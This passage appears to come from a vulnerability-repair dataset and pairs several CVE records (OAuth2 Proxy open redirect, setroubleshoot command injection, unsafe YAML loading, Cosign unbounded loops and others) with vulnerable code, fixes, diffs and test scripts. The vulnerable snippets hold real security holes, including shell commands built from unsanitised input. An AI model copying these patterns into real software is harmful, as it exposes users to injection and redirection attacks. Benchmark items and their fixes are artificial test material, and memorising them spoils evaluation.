grpcAddr,\n\t\t\tTLSConfig: grpcTLSConfig,\n\t\t},\n\t\tHTTPServer: server.HTTPServerConfig{\n\t\t\tEnabled:            config.HTTP.Enabled,\n\t\t\tAddr:               httpAddr,\n\t\t\tTLSConfig:          httpTLSConfig,\n\t\t\tUpstreamTimeout:    config.HTTP.UpstreamTimeout,\n\t\t\tCORSAllowedOrigins: config.HTTP.CORSAllowedOrigins,\n\t\t\tCORSAllowedHeaders: config.HTTP.CORSAllowedHeaders,\n\t\t},\n\t\tResolveNodeLimit:       config.ResolveNodeLimit,\n\t\tChangelogHorizonOffset: config.ChangelogHorizonOffset,\n\t\tListObjectsDeadline:    config.ListObjectsDeadline,\n\t\tListObjectsMaxResults:  config.ListObjectsMaxResults,\n\t\tUnaryInterceptors:      unaryServerInterceptors,\n\t\tStreamingInterceptors:  streamingServerInterceptors,\n\t\tMuxOptions:             nil,\n\t})\n\tif err != nil {\n\t\treturn nil, errors.Errorf(\"failed to initialize openfga server: %v\", err)\n\t}\n\n\treturn &service{\n\t\tserver:        openFgaServer,\n\t\tgrpcAddr:      grpcAddr,\n\t\thttpAddr:      httpAddr,\n\t\tdatastore:     datastore,\n\t\tauthenticator: authenticator,\n\t}, nil\n}"}], "vul_patch": "--- a/pkg/cmd/service/service.go\n+++ b/pkg/cmd/service/service.go\n@@ -80,9 +80,14 @@\n \t\treturn nil, errors.Errorf(\"failed to initialize authenticator: %v\", err)\n \t}\n \n-\tinterceptors := []grpc.UnaryServerInterceptor{\n+\tunaryServerInterceptors := []grpc.UnaryServerInterceptor{\n \t\tgrpc_auth.UnaryServerInterceptor(middleware.AuthFunc(authenticator)),\n \t\tmiddleware.NewErrorLoggingInterceptor(logger),\n+\t}\n+\n+\tstreamingServerInterceptors := []grpc.StreamServerInterceptor{\n+\t\tgrpc_auth.StreamServerInterceptor(middleware.AuthFunc(authenticator)),\n+\t\tmiddleware.NewStreamingErrorLoggingInterceptor(logger),\n \t}\n \n \tgrpcHostAddr, grpcHostPort, err := net.SplitHostPort(config.GRPC.Addr)\n@@ -136,7 +141,8 @@\n \t\tChangelogHorizonOffset: config.ChangelogHorizonOffset,\n \t\tListObjectsDeadline:    config.ListObjectsDeadline,\n \t\tListObjectsMaxResults:  config.ListObjectsMaxResults,\n-\t\tUnaryInterceptors:      interceptors,\n+\t\tUnaryInterceptors:      unaryServerInterceptors,\n+\t\tStreamingInterceptors:  streamingServerInterceptors,\n \t\tMuxOptions:             nil,\n \t})\n \tif err != nil {\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2022-39340:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/openfga\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\ngo test   -timeout 30s -run ^TestBuildServiceWithPresharedKeyAuthentication$ github.com/openfga/openfga/pkg/cmd/service\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2022-39340:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/openfga\ngit apply --whitespace=nowarn /workspace/fix.patch\ngo test -timeout 30s -run '^(TestBuildServiceWithNoAuth|TestBuildServiceWithPresharedKeyAuthentication|TestGRPCServingTLS|TestBuildServerWithOIDCAuthentication|TestHTTPServerWithCORS|TestHTTPServingTLS|TestDefaultConfig|TestTLSFailureSettings|TestBuildServiceWithPresharedKeyAuthenticationFailsIfZeroKeys|TestHTTPServerEnabled|TestHTTPServerDisabled)$' github.com/openfga/openfga/pkg/cmd/service\n"}
{"cve_id": "CVE-2020-11053", "cve_description": "In OAuth2 Proxy before 5.1.1, there is an open redirect vulnerability. Users can provide a redirect address for the proxy to send the authenticated user to at the end of the authentication flow. This is expected to be the original URL that the user was trying to access. This redirect URL is checked within the proxy and validated before redirecting the user to prevent malicious actors providing redirects to potentially harmful sites. However, by crafting a redirect URL with HTML encoded whitespace characters the validation could be bypassed and allow a redirect to any URL provided. This has been patched in 5.1.1.", "cwe_info": {"CWE-601": {"name": "URL Redirection to Untrusted Site ('Open Redirect')", "description": "The web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a redirect."}}, "repo": "https://github.com/oauth2-proxy/oauth2-proxy", "patch_url": ["https://github.com/oauth2-proxy/oauth2-proxy/commit/0d5fa211df8ef2449347a56b22c779eb8d894c43"], "programing_language": "Go", "vul_func": [{"id": "vul_go_14_2", "commit": "36da6e2", "file_path": "oauthproxy.go", "start_line": 579, "end_line": 617, "snippet": "func (p *OAuthProxy) IsValidRedirect(redirect string) bool {\n\tswitch {\n\tcase strings.HasPrefix(redirect, \"/\") && !strings.HasPrefix(redirect, \"//\") && !strings.HasPrefix(redirect, \"/\\\\\"):\n\t\treturn true\n\tcase strings.HasPrefix(redirect, \"http://\") || strings.HasPrefix(redirect, \"https://\"):\n\t\tredirectURL, err := url.Parse(redirect)\n\t\tif err != nil {\n\t\t\tlogger.Printf(\"Rejecting invalid redirect %q: scheme unsupported or missing\", redirect)\n\t\t\treturn false\n\t\t}\n\t\tredirectHostname := redirectURL.Hostname()\n\n\t\tfor _, domain := range p.whitelistDomains {\n\t\t\tdomainHostname, domainPort := splitHostPort(strings.TrimLeft(domain, \".\"))\n\t\t\tif domainHostname == \"\" {\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\tif (redirectHostname == domainHostname) || (strings.HasPrefix(domain, \".\") && strings.HasSuffix(redirectHostname, domainHostname)) {\n\t\t\t\t// the domain names match, now validate the ports\n\t\t\t\t// if the whitelisted domain's port is '*', allow all ports\n\t\t\t\t// if the whitelisted domain contains a specific port, only allow that port\n\t\t\t\t// if the whitelisted domain doesn't contain a port at all, only allow empty redirect ports ie http and https\n\t\t\t\tredirectPort := redirectURL.Port()\n\t\t\t\tif (domainPort == \"*\") ||\n\t\t\t\t\t(domainPort == redirectPort) ||\n\t\t\t\t\t(domainPort == \"\" && redirectPort == \"\") {\n\t\t\t\t\treturn true\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tlogger.Printf(\"Rejecting invalid redirect %q: domain / port not in whitelist\", redirect)\n\t\treturn false\n\tdefault:\n\t\tlogger.Printf(\"Rejecting invalid redirect %q: not an absolute or relative URL\", redirect)\n\t\treturn false\n\t}\n}"}], "fix_func": [{"id": "fix_go_14_1", "commit": "0d5fa21", "file_path": "oauthproxy.go", "start_line": 57, "end_line": 64, "snippet": "var (\n\t// ErrNeedsLogin means the user should be redirected to the login page\n\tErrNeedsLogin = errors.New(\"redirect to login page\")\n\n\t// Used to check final redirects are not susceptible to open redirects.\n\t// Matches //, /\\ and both of these with whitespace in between (eg / / or / \\).\n\tinvalidRedirectRegex = regexp.MustCompile(`^/(\\s|\\v)?(/|\\\\)`)\n)"}, {"id": "fix_go_14_2", "commit": "0d5fa21", "file_path": "oauthproxy.go", "start_line": 583, "end_line": 621, "snippet": "func (p *OAuthProxy) IsValidRedirect(redirect string) bool {\n\tswitch {\n\tcase strings.HasPrefix(redirect, \"/\") && !strings.HasPrefix(redirect, \"//\") && !invalidRedirectRegex.MatchString(redirect):\n\t\treturn true\n\tcase strings.HasPrefix(redirect, \"http://\") || strings.HasPrefix(redirect, \"https://\"):\n\t\tredirectURL, err := url.Parse(redirect)\n\t\tif err != nil {\n\t\t\tlogger.Printf(\"Rejecting invalid redirect %q: scheme unsupported or missing\", redirect)\n\t\t\treturn false\n\t\t}\n\t\tredirectHostname := redirectURL.Hostname()\n\n\t\tfor _, domain := range p.whitelistDomains {\n\t\t\tdomainHostname, domainPort := splitHostPort(strings.TrimLeft(domain, \".\"))\n\t\t\tif domainHostname == \"\" {\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\tif (redirectHostname == domainHostname) || (strings.HasPrefix(domain, \".\") && strings.HasSuffix(redirectHostname, domainHostname)) {\n\t\t\t\t// the domain names match, now validate the ports\n\t\t\t\t// if the whitelisted domain's port is '*', allow all ports\n\t\t\t\t// if the whitelisted domain contains a specific port, only allow that port\n\t\t\t\t// if the whitelisted domain doesn't contain a port at all, only allow empty redirect ports ie http and https\n\t\t\t\tredirectPort := redirectURL.Port()\n\t\t\t\tif (domainPort == \"*\") ||\n\t\t\t\t\t(domainPort == redirectPort) ||\n\t\t\t\t\t(domainPort == \"\" && redirectPort == \"\") {\n\t\t\t\t\treturn true\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tlogger.Printf(\"Rejecting invalid redirect %q: domain / port not in whitelist\", redirect)\n\t\treturn false\n\tdefault:\n\t\tlogger.Printf(\"Rejecting invalid redirect %q: not an absolute or relative URL\", redirect)\n\t\treturn false\n\t}\n}"}], "vul_patch": "--- a/oauthproxy.go\n+++ b/oauthproxy.go\n@@ -1,6 +1,6 @@\n func (p *OAuthProxy) IsValidRedirect(redirect string) bool {\n \tswitch {\n-\tcase strings.HasPrefix(redirect, \"/\") && !strings.HasPrefix(redirect, \"//\") && !strings.HasPrefix(redirect, \"/\\\\\"):\n+\tcase strings.HasPrefix(redirect, \"/\") && !strings.HasPrefix(redirect, \"//\") && !invalidRedirectRegex.MatchString(redirect):\n \t\treturn true\n \tcase strings.HasPrefix(redirect, \"http://\") || strings.HasPrefix(redirect, \"https://\"):\n \t\tredirectURL, err := url.Parse(redirect)\n\n--- /dev/null\n+++ b/oauthproxy.go\n@@ -0,0 +1,8 @@\n+var (\n+\t// ErrNeedsLogin means the user should be redirected to the login page\n+\tErrNeedsLogin = errors.New(\"redirect to login page\")\n+\n+\t// Used to check final redirects are not susceptible to open redirects.\n+\t// Matches //, /\\ and both of these with whitespace in between (eg / / or / \\).\n+\tinvalidRedirectRegex = regexp.MustCompile(`^/(\\s|\\v)?(/|\\\\)`)\n+)\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2020-11053:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/oauth2-proxy\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\ngo test   -timeout 30s -run ^TestIsValidRedirect$ github.com/oauth2-proxy/oauth2-proxy\n", "unit_test_cmd": null}
{"cve_id": "CVE-2016-4989", "cve_description": "setroubleshoot allows local users to bypass an intended container protection mechanism and execute arbitrary commands by (1) triggering an SELinux denial with a crafted file name, which is handled by the _set_tpath function in audit_data.py or via a crafted (2) local_id or (3) analysis_id field in a crafted XML document to the run_fix function in SetroubleshootFixit.py, related to the subprocess.check_output and commands.getstatusoutput functions, a different vulnerability than CVE-2016-4445.", "cwe_info": {"CWE-77": {"name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')", "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component."}}, "repo": "https://github.com/fedora-selinux/setroubleshoot", "patch_url": ["https://github.com/fedora-selinux/setroubleshoot/commit/dda55aa50db95a25f0d919c3a0d5871827cdc40f"], "programing_language": "Python", "vul_func": [{"id": "vul_py_281_1", "commit": "e69378d", "file_path": "framework/src/SetroubleshootFixit.py", "start_line": 16, "end_line": 19, "snippet": "    def run_fix(self, local_id, analysis_id):\n        import commands\n        command = \"sealert -f %s -P %s\" % ( local_id, analysis_id)\n        return commands.getoutput(command)"}], "fix_func": [{"id": "fix_py_281_1", "commit": "dda55aa50db95a25f0d919c3a0d5871827cdc40f", "file_path": "framework/src/SetroubleshootFixit.py", "start_line": 16, "end_line": 19, "snippet": "    def run_fix(self, local_id, analysis_id):\n        import subprocess\n        command = [\"sealert\", \"-f\", local_id, \"-P\", analysis_id]\n        return subprocess.check_output(command, universal_newlines=True)"}], "vul_patch": "--- a/framework/src/SetroubleshootFixit.py\n+++ b/framework/src/SetroubleshootFixit.py\n@@ -1,4 +1,4 @@\n     def run_fix(self, local_id, analysis_id):\n-        import commands\n-        command = \"sealert -f %s -P %s\" % ( local_id, analysis_id)\n-        return commands.getoutput(command)\n+        import subprocess\n+        command = [\"sealert\", \"-f\", local_id, \"-P\", analysis_id]\n+        return subprocess.check_output(command, universal_newlines=True)\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2021-41146", "cve_description": "qutebrowser is an open source keyboard-focused browser with a minimal GUI. Starting with qutebrowser v1.7.0, the Windows installer for qutebrowser registers a `qutebrowserurl:` URL handler. With certain applications, opening a specially crafted `qutebrowserurl:...` URL can lead to execution of qutebrowser commands, which in turn allows arbitrary code execution via commands such as `:spawn` or `:debug-pyeval`. Only Windows installs where qutebrowser is registered as URL handler are affected. The issue has been fixed in qutebrowser v2.4.0. The fix also adds additional hardening for potential similar issues on Linux (by adding the new --untrusted-args flag to the .desktop file), though no such vulnerabilities are known.", "cwe_info": {"CWE-94": {"name": "Improper Control of Generation of Code ('Code Injection')", "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."}, "CWE-77": {"name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')", "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component."}, "CWE-78": {"name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."}}, "repo": "https://github.com/qutebrowser/qutebrowser", "patch_url": ["https://github.com/qutebrowser/qutebrowser/commit/8f46ba3f6dc7b18375f7aa63c48a1fe461190430"], "programing_language": "Python", "vul_func": [{"id": "vul_py_329_1", "commit": "1547a48", "file_path": "qutebrowser/qutebrowser.py", "start_line": 210, "end_line": 220, "snippet": "def main():\n    parser = get_argparser()\n    argv = sys.argv[1:]\n    args = parser.parse_args(argv)\n    if args.json_args is not None:\n        args = _unpack_json_args(args)\n    earlyinit.early_init(args)\n    # We do this imports late as earlyinit needs to be run first (because of\n    # version checking and other early initialization)\n    from qutebrowser import app\n    return app.run(args)"}], "fix_func": [{"id": "fix_py_329_1", "commit": "8f46ba3f6dc7b18375f7aa63c48a1fe461190430", "file_path": "qutebrowser/qutebrowser.py", "start_line": 234, "end_line": 245, "snippet": "def main():\n    _validate_untrusted_args(sys.argv)\n    parser = get_argparser()\n    argv = sys.argv[1:]\n    args = parser.parse_args(argv)\n    if args.json_args is not None:\n        args = _unpack_json_args(args)\n    earlyinit.early_init(args)\n    # We do this imports late as earlyinit needs to be run first (because of\n    # version checking and other early initialization)\n    from qutebrowser import app\n    return app.run(args)"}, {"id": "fix_py_329_2", "commit": "8f46ba3f6dc7b18375f7aa63c48a1fe461190430", "file_path": "qutebrowser/qutebrowser.py", "start_line": 215, "end_line": 233, "snippet": "def _validate_untrusted_args(argv):\n    # NOTE: Do not use f-strings here, as this should run with older Python\n    # versions (so that a proper error can be displayed)\n    try:\n        untrusted_idx = argv.index('--untrusted-args')\n    except ValueError:\n        return\n\n    rest = argv[untrusted_idx + 1:]\n    if len(rest) > 1:\n        sys.exit(\n            \"Found multiple arguments ({}) after --untrusted-args, \"\n            \"aborting.\".format(' '.join(rest)))\n\n    for arg in rest:\n        if arg.startswith(('-', ':')):\n            sys.exit(\"Found {} after --untrusted-args, aborting.\".format(arg))\n\n"}], "vul_patch": "--- a/qutebrowser/qutebrowser.py\n+++ b/qutebrowser/qutebrowser.py\n@@ -1,4 +1,5 @@\n def main():\n+    _validate_untrusted_args(sys.argv)\n     parser = get_argparser()\n     argv = sys.argv[1:]\n     args = parser.parse_args(argv)\n\n--- /dev/null\n+++ b/qutebrowser/qutebrowser.py\n@@ -0,0 +1,18 @@\n+def _validate_untrusted_args(argv):\n+    # NOTE: Do not use f-strings here, as this should run with older Python\n+    # versions (so that a proper error can be displayed)\n+    try:\n+        untrusted_idx = argv.index('--untrusted-args')\n+    except ValueError:\n+        return\n+\n+    rest = argv[untrusted_idx + 1:]\n+    if len(rest) > 1:\n+        sys.exit(\n+            \"Found multiple arguments ({}) after --untrusted-args, \"\n+            \"aborting.\".format(' '.join(rest)))\n+\n+    for arg in rest:\n+        if arg.startswith(('-', ':')):\n+            sys.exit(\"Found {} after --untrusted-args, aborting.\".format(arg))\n+\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2023-46737", "cve_description": "Cosign is a sigstore signing tool for OCI containers. Cosign is susceptible to a denial of service by an attacker controlled registry. An attacker who controls a remote registry can return a high number of attestations and/or signatures to Cosign and cause Cosign to enter a long loop resulting in an endless data attack. The root cause is that Cosign loops through all attestations fetched from the remote registry in pkg/cosign.FetchAttestations. The attacker needs to compromise the registry or make a request to a registry they control. When doing so, the attacker must return a high number of attestations in the response to Cosign. The result will be that the attacker can cause Cosign to go into a long or infinite loop that will prevent other users from verifying their data. In Kyvernos case, an attacker whose privileges are limited to making requests to the cluster can make a request with an image reference to their own registry, trigger the infinite loop and deny other users from completing their admission requests. Alternatively, the attacker can obtain control of the registry used by an organization and return a high number of attestations instead the expected number of attestations. The issue can be mitigated rather simply by setting a limit to the limit of attestations that Cosign will loop through. The limit does not need to be high to be within the vast majority of use cases and still prevent the endless data attack. This issue has been patched in version 2.2.1 and users are advised to upgrade.", "cwe_info": {"CWE-835": {"name": "Loop with Unreachable Exit Condition ('Infinite Loop')", "description": "The product contains an iteration or loop with an exit condition that cannot be reached, i.e., an infinite loop."}}, "repo": "https://github.com/sigstore/cosign", "patch_url": ["https://github.com/sigstore/cosign/commit/8ac891ff0e29ddc67965423bee8f826219c6eb0f"], "programing_language": "Go", "vul_func": [{"id": "vul_go_294_1", "commit": "8b366c497bd22b9be7742d057b8f59083dcadee0", "file_path": "pkg/cosign/fetch.go", "start_line": 70, "end_line": 126, "snippet": "func FetchSignaturesForReference(_ context.Context, ref name.Reference, opts ...ociremote.Option) ([]SignedPayload, error) {\n\tsimg, err := ociremote.SignedEntity(ref, opts...)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tsigs, err := simg.Signatures()\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"remote image: %w\", err)\n\t}\n\tl, err := sigs.Get()\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"fetching signatures: %w\", err)\n\t}\n\tif len(l) == 0 {\n\t\treturn nil, fmt.Errorf(\"no signatures associated with %s\", ref)\n\t}\n\n\tsignatures := make([]SignedPayload, len(l))\n\tvar g errgroup.Group\n\tg.SetLimit(runtime.NumCPU())\n\tfor i, sig := range l {\n\t\ti, sig := i, sig\n\t\tg.Go(func() error {\n\t\t\tvar err error\n\t\t\tsignatures[i].Payload, err = sig.Payload()\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tsignatures[i].Base64Signature, err = sig.Base64Signature()\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tsignatures[i].Cert, err = sig.Cert()\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tsignatures[i].Chain, err = sig.Chain()\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\tsignatures[i].RFC3161Timestamp, err = sig.RFC3161Timestamp()\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\tsignatures[i].Bundle, err = sig.Bundle()\n\t\t\treturn err\n\t\t})\n\t}\n\tif err := g.Wait(); err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn signatures, nil\n}"}, {"id": "vul_go_294_2", "commit": "8b366c497bd22b9be7742d057b8f59083dcadee0", "file_path": "pkg/cosign/fetch.go", "start_line": 136, "end_line": 197, "snippet": "func FetchAttestations(se oci.SignedEntity, predicateType string) ([]AttestationPayload, error) {\n\tatts, err := se.Attestations()\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"remote image: %w\", err)\n\t}\n\tl, err := atts.Get()\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"fetching attestations: %w\", err)\n\t}\n\tif len(l) == 0 {\n\t\treturn nil, errors.New(\"found no attestations\")\n\t}\n\n\tattestations := make([]AttestationPayload, 0, len(l))\n\tvar attMu sync.Mutex\n\n\tvar g errgroup.Group\n\tg.SetLimit(runtime.NumCPU())\n\n\tfor _, att := range l {\n\t\tatt := att\n\t\tg.Go(func() error {\n\t\t\trawPayload, err := att.Payload()\n\t\t\tif err != nil {\n\t\t\t\treturn fmt.Errorf(\"fetching payload: %w\", err)\n\t\t\t}\n\t\t\tvar payload AttestationPayload\n\t\t\tif err := json.Unmarshal(rawPayload, &payload); err != nil {\n\t\t\t\treturn fmt.Errorf(\"unmarshaling payload: %w\", err)\n\t\t\t}\n\n\t\t\tif predicateType != \"\" {\n\t\t\t\tvar decodedPayload []byte\n\t\t\t\tdecodedPayload, err = base64.StdEncoding.DecodeString(payload.PayLoad)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn fmt.Errorf(\"decoding payload: %w\", err)\n\t\t\t\t}\n\t\t\t\tvar statement in_toto.Statement\n\t\t\t\tif err := json.Unmarshal(decodedPayload, &statement); err != nil {\n\t\t\t\t\treturn fmt.Errorf(\"unmarshaling statement: %w\", err)\n\t\t\t\t}\n\t\t\t\tif statement.PredicateType != predicateType {\n\t\t\t\t\treturn nil\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tattMu.Lock()\n\t\t\tdefer attMu.Unlock()\n\t\t\tattestations = append(attestations, payload)\n\t\t\treturn nil\n\t\t})\n\t}\n\tif err := g.Wait(); err != nil {\n\t\treturn nil, err\n\t}\n\n\tif len(attestations) == 0 && predicateType != \"\" {\n\t\treturn nil, fmt.Errorf(\"no attestations with predicate type '%s' found\", predicateType)\n\t}\n\n\treturn attestations, nil\n}"}], "fix_func": [{"id": "fix_go_294_1", "commit": "8ac891ff0e29ddc67965423bee8f826219c6eb0f", "file_path": "pkg/cosign/fetch.go", "start_line": 72, "end_line": 131, "snippet": "func FetchSignaturesForReference(_ context.Context, ref name.Reference, opts ...ociremote.Option) ([]SignedPayload, error) {\n\tsimg, err := ociremote.SignedEntity(ref, opts...)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tsigs, err := simg.Signatures()\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"remote image: %w\", err)\n\t}\n\tl, err := sigs.Get()\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"fetching signatures: %w\", err)\n\t}\n\tif len(l) == 0 {\n\t\treturn nil, fmt.Errorf(\"no signatures associated with %s\", ref)\n\t}\n\tif len(l) > maxAllowedSigsOrAtts {\n\t\treturn nil, fmt.Errorf(\"maximum number of signatures on an image is %d, found %d\", maxAllowedSigsOrAtts, len(l))\n\t}\n\n\tsignatures := make([]SignedPayload, len(l))\n\tvar g errgroup.Group\n\tg.SetLimit(runtime.NumCPU())\n\tfor i, sig := range l {\n\t\ti, sig := i, sig\n\t\tg.Go(func() error {\n\t\t\tvar err error\n\t\t\tsignatures[i].Payload, err = sig.Payload()\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tsignatures[i].Base64Signature, err = sig.Base64Signature()\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tsignatures[i].Cert, err = sig.Cert()\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tsignatures[i].Chain, err = sig.Chain()\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\tsignatures[i].RFC3161Timestamp, err = sig.RFC3161Timestamp()\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\tsignatures[i].Bundle, err = sig.Bundle()\n\t\t\treturn err\n\t\t})\n\t}\n\tif err := g.Wait(); err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn signatures, nil\n}"}, {"id": "fix_go_294_2", "commit": "8ac891ff0e29ddc67965423bee8f826219c6eb0f", "file_path": "pkg/cosign/fetch.go", "start_line": 141, "end_line": 206, "snippet": "func FetchAttestations(se oci.SignedEntity, predicateType string) ([]AttestationPayload, error) {\n\tatts, err := se.Attestations()\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"remote image: %w\", err)\n\t}\n\tl, err := atts.Get()\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"fetching attestations: %w\", err)\n\t}\n\tif len(l) == 0 {\n\t\treturn nil, errors.New(\"found no attestations\")\n\t}\n\tif len(l) > maxAllowedSigsOrAtts {\n\t\terrMsg := fmt.Sprintf(\"maximum number of attestations on an image is %d, found %d\", maxAllowedSigsOrAtts, len(l))\n\t\treturn nil, errors.New(errMsg)\n\t}\n\n\tattestations := make([]AttestationPayload, 0, len(l))\n\tvar attMu sync.Mutex\n\n\tvar g errgroup.Group\n\tg.SetLimit(runtime.NumCPU())\n\n\tfor _, att := range l {\n\t\tatt := att\n\t\tg.Go(func() error {\n\t\t\trawPayload, err := att.Payload()\n\t\t\tif err != nil {\n\t\t\t\treturn fmt.Errorf(\"fetching payload: %w\", err)\n\t\t\t}\n\t\t\tvar payload AttestationPayload\n\t\t\tif err := json.Unmarshal(rawPayload, &payload); err != nil {\n\t\t\t\treturn fmt.Errorf(\"unmarshaling payload: %w\", err)\n\t\t\t}\n\n\t\t\tif predicateType != \"\" {\n\t\t\t\tvar decodedPayload []byte\n\t\t\t\tdecodedPayload, err = base64.StdEncoding.DecodeString(payload.PayLoad)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn fmt.Errorf(\"decoding payload: %w\", err)\n\t\t\t\t}\n\t\t\t\tvar statement in_toto.Statement\n\t\t\t\tif err := json.Unmarshal(decodedPayload, &statement); err != nil {\n\t\t\t\t\treturn fmt.Errorf(\"unmarshaling statement: %w\", err)\n\t\t\t\t}\n\t\t\t\tif statement.PredicateType != predicateType {\n\t\t\t\t\treturn nil\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tattMu.Lock()\n\t\t\tdefer attMu.Unlock()\n\t\t\tattestations = append(attestations, payload)\n\t\t\treturn nil\n\t\t})\n\t}\n\tif err := g.Wait(); err != nil {\n\t\treturn nil, err\n\t}\n\n\tif len(attestations) == 0 && predicateType != \"\" {\n\t\treturn nil, fmt.Errorf(\"no attestations with predicate type '%s' found\", predicateType)\n\t}\n\n\treturn attestations, nil\n}"}], "vul_patch": "--- a/pkg/cosign/fetch.go\n+++ b/pkg/cosign/fetch.go\n@@ -14,6 +14,9 @@\n \t}\n \tif len(l) == 0 {\n \t\treturn nil, fmt.Errorf(\"no signatures associated with %s\", ref)\n+\t}\n+\tif len(l) > maxAllowedSigsOrAtts {\n+\t\treturn nil, fmt.Errorf(\"maximum number of signatures on an image is %d, found %d\", maxAllowedSigsOrAtts, len(l))\n \t}\n \n \tsignatures := make([]SignedPayload, len(l))\n\n--- a/pkg/cosign/fetch.go\n+++ b/pkg/cosign/fetch.go\n@@ -9,6 +9,10 @@\n \t}\n \tif len(l) == 0 {\n \t\treturn nil, errors.New(\"found no attestations\")\n+\t}\n+\tif len(l) > maxAllowedSigsOrAtts {\n+\t\terrMsg := fmt.Sprintf(\"maximum number of attestations on an image is %d, found %d\", maxAllowedSigsOrAtts, len(l))\n+\t\treturn nil, errors.New(errMsg)\n \t}\n \n \tattestations := make([]AttestationPayload, 0, len(l))\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2017-16764", "cve_description": "An exploitable vulnerability exists in the YAML parsing functionality in the read_yaml_file method in io_utils.py in django_make_app 0.1.3. A YAML parser can execute arbitrary Python commands resulting in command execution. An attacker can insert Python into loaded YAML to trigger this vulnerability.", "cwe_info": {"CWE-94": {"name": "Improper Control of Generation of Code ('Code Injection')", "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."}, "CWE-77": {"name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')", "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component."}, "CWE-78": {"name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."}}, "repo": "https://github.com/illagrenan/django-make-app", "patch_url": ["https://github.com/illagrenan/django-make-app/commit/acd814433d1021aa8783362521b0bd151fdfc9d2"], "programing_language": "Python", "vul_func": [{"id": "vul_py_356_1", "commit": "e42d3bf31e7c66dc741a96de79daef0ba76f74a1", "file_path": "django_make_app/io_utils.py", "start_line": 13, "end_line": 15, "snippet": "def read_yaml_file(filename):\n    with io.open(filename, mode='r', encoding='utf-8') as the_file:\n        return yaml.load(the_file)"}], "fix_func": [{"id": "fix_py_356_1", "commit": "acd814433d1021aa8783362521b0bd151fdfc9d2", "file_path": "django_make_app/io_utils.py", "start_line": 13, "end_line": 15, "snippet": "def read_yaml_file(filename):\n    with io.open(filename, mode='r', encoding='utf-8') as the_file:\n        return yaml.safe_load(the_file)"}], "vul_patch": "--- a/django_make_app/io_utils.py\n+++ b/django_make_app/io_utils.py\n@@ -1,3 +1,3 @@\n def read_yaml_file(filename):\n     with io.open(filename, mode='r', encoding='utf-8') as the_file:\n-        return yaml.load(the_file)\n+        return yaml.safe_load(the_file)\n\n", "poc_patch": null, "unit_test_cmd": null}
